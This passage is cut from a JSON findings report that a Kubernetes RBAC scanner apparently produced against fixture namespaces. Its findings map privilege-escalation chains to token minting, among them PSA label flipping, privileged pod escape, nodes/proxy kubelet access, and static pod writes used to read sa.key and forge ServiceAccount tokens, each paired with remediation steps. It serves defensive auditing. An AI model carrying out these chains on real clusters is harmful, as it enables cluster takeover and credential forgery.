      "Acting as `ServiceAccount/map-fixtures/sa-mutating-policy`, the attacker uses the `mutating_policy_inject` technique via `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings`, which gains can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time.",
      "Acting as `ServiceAccount/map-fixtures/sa-mutating-policy`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. mutating_policy_inject [create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "mutating_policy_inject",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "mutating_policy_inject",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings` that enables the first hop (`ServiceAccount/map-fixtures/sa-mutating-policy` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings` that enables the first hop (`ServiceAccount/map-fixtures/sa-mutating-policy` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "mutating_policy_inject",
        "technique": "KUBE-PRIVESC-019",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-mutating-policy",
          "namespace": "map-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings",
        "gains": "can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-mutating-policy",
          "namespace": "map-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/psa-suppressed/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psa-suppressed/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/psa-suppressed/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/psa-suppressed/default` → `/` via `pod_host_escape` (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-4nkmq with privileged\n  2. `ServiceAccount/psa-suppressed/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "psa-suppressed"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psa-suppressed/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/psa-suppressed/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/psa-suppressed/default`.",
      "Acting as `ServiceAccount/psa-suppressed/default`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/psa-suppressed/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [privileged]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `privileged` that enables the first hop (`ServiceAccount/psa-suppressed/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `privileged` that enables the first hop (`ServiceAccount/psa-suppressed/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "psa-suppressed"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod psa-suppressed/psa-priv-app-54c64bdd84-4nkmq with privileged"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "psa-suppressed"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/` via `pod_host_escape` (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-z2vfd with hostNetwork\n  2. `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-psa-unlabeled",
      "namespace": "psa-unlabeled-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`.",
      "Acting as `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [hostNetwork]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `hostNetwork` that enables the first hop (`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `hostNetwork` that enables the first hop (`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-psa-unlabeled",
          "namespace": "psa-unlabeled-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "hostNetwork",
        "gains": "runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-z2vfd with hostNetwork"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-psa-unlabeled",
          "namespace": "psa-unlabeled-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/psaflip-fixtures/psaflip-flipper:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psaflip-fixtures/psaflip-flipper` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/psaflip-fixtures/psaflip-flipper` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/` via `namespace_psa_label_flip` (patch namespaces + create pods (psaflip-fixtures)): can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node\n  2. `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "psaflip-flipper",
      "namespace": "psaflip-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psaflip-fixtures/psaflip-flipper` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/psaflip-fixtures/psaflip-flipper` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/psaflip-fixtures/psaflip-flipper`.",
      "Acting as `ServiceAccount/psaflip-fixtures/psaflip-flipper`, the attacker rewrites the `pod-security.kubernetes.io/enforce` label on a namespace that Pod Security Admission currently locks down (`patch namespaces + create pods (psaflip-fixtures)`), setting it to `privileged`. PSA reads its enforcement level from that label on every admission and nothing in-tree protects the label, so the next pod the attacker creates there, privileged or host-mounting, is admitted. The write on the Namespace object is authorized like any other RBAC request: a cluster-scoped grant reaches every namespace, and a namespaced Role granting `patch namespaces` reaches its own namespace, because the API server treats `/api/v1/namespaces/\u003cns\u003e` as a request in `\u003cns\u003e`.",
      "Acting as `ServiceAccount/psaflip-fixtures/psaflip-flipper`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. namespace_psa_label_flip [patch namespaces + create pods (psaflip-fixtures)]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "namespace_psa_label_flip",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "namespace_psa_label_flip",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `patch namespaces + create pods (psaflip-fixtures)` that enables the first hop (`ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `patch namespaces + create pods (psaflip-fixtures)` that enables the first hop (`ServiceAccount/psaflip-fixtures/psaflip-flipper` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "namespace_psa_label_flip",
        "technique": "KUBE-PRIVESC-035",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "psaflip-flipper",
          "namespace": "psaflip-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "patch namespaces + create pods (psaflip-fixtures)",
        "gains": "can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "psaflip-flipper",
          "namespace": "psaflip-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-nodes-proxy:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-nodes-proxy` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-nodes-proxy` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/` via `nodes_proxy` (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion\n  2. `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-nodes-proxy",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-nodes-proxy` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-nodes-proxy`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-nodes-proxy`, the attacker uses `nodes/proxy` (`get nodes/proxy`) to forward requests directly to the kubelet on each node. Combined with the kubelet's `/exec` endpoint this becomes a primitive for running commands inside any pod the kubelet can see.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-nodes-proxy`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. nodes_proxy [get nodes/proxy]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "nodes_proxy",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "nodes_proxy",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `get nodes/proxy` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `get nodes/proxy` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-nodes-proxy` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "nodes_proxy",
        "technique": "KUBE-PRIVESC-012",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-nodes-proxy",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get nodes/proxy",
        "gains": "can reach kubelet API via nodes/proxy WebSocket verb confusion",
        "source_binding": "crb-nodes-proxy",
        "source_role": "cr-nodes-proxy"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-nodes-proxy",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/vulnerable/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.2,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/vulnerable/default` → `/` via `pod_host_escape` (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-2bmjc with hostPID, hostIPC\n  2. `ServiceAccount/vulnerable/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/vulnerable/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/vulnerable/default`.",
      "Acting as `ServiceAccount/vulnerable/default`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/vulnerable/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [hostPID,hostIPC]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `hostPID,hostIPC` that enables the first hop (`ServiceAccount/vulnerable/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `hostPID,hostIPC` that enables the first hop (`ServiceAccount/vulnerable/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "hostPID,hostIPC",
        "gains": "runs in pod vulnerable/host-ns-app-7cb46d5788-2bmjc with hostPID, hostIPC"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/privesc-fixtures/sa-pod-create-escape:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 6.199999999999999,
    "category": "lateral_movement",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can **intercept in-cluster Service traffic** in 4 hop(s)",
